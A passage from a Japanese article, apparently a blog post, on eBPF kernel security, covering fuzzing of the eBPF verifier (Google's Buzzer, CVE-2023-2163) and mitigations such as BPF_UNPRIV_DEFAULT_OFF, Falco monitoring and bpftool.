eBPFはハッカーにとって完璧なターゲットです。ベリファイアの複雑さを考えると、近い将来、いくつかのバグが発見され、悪用される可能性は非常に高いでしょう。

ファジングは今でもカーネルのバグを見つけるのに適した方法ですが、eBPFのプログラムをファジングするのは簡単ではありません。ベリファイアは非常に厳格で、有効なプログラムを生成するのは容易ではないからです。この問題を克服するために、いくつかの巧妙なアプローチが開発されています。例えば、GoogleのBuzzerは、ベリファイア自体のログを使って有効なプログラムを生成し、さらにKCOVを使って生成されたサンプルのカバレッジをトレースするファザーです。

このアプローチにより、例えばCVE-2023-2163のように、ベリファイアのバグがいくつか発見されました。いずれにせよ、カーネルヘルパー関数の副作用のファジングなど、まだ改善の余地があります。eBPF VMがサポートする命令数が少ないことを考慮すれば、文法ベースのアプローチを使って有効なプログラムを生成するファザーを実装することは可能です。

また、ベリファイアを完全にユーザー空間に移植するのも良いアイデアです。これにより、アサーションの助けを借りてベリファイア自体をファジングし、無効な仮定に遭遇したときに強制的にクラッシュさせることが可能になります。

緩和策

このような攻撃を軽減する最も効果的な方法は、 SYS_bpf の使用をrootユーザーに制限することです。これは、kconfig knob  BPF_UNPRIV_DEFAULT_OFF を設定することで可能です。
もう1つの方法は、Falcoのような監視ツールを使ってシステムコールの使用状況を監視し、そのような乱用を検出することです。
上記の方法に加えて、ロードされたbpfプログラムとそれぞれの使用状況(Kprobe、TCなど)を知るには、bpftoolを使うのも便利です。

まとめ

eBPFは、安全な方法でカーネル機能を拡張できる非常に強力な技術です。多くの企業で本番環境で使用されており、今後さらに使用される可能性が高いです。しかし同時に、脅威行為者はこの技術を利用して悪意のある活動を隠したり、セキュリティ・チェックを回避したり、さらにはカーネルを悪用したりすることもできます。

そのような種類の次世代攻撃に対処する最善の方法は、eBPFの能力をフルに活用してカーネルを監視し、疑わしい活動を検出することです。

Falco は、悪意のある活動を検出するために eBPF をどのように使用できるかの素晴らしい例を提供します。また、Falco は eBPF システムコールの監視をサポートしているため、eBPF を悪用する試みを検出することができます。

参考文献:

Subscribe and get the latest updates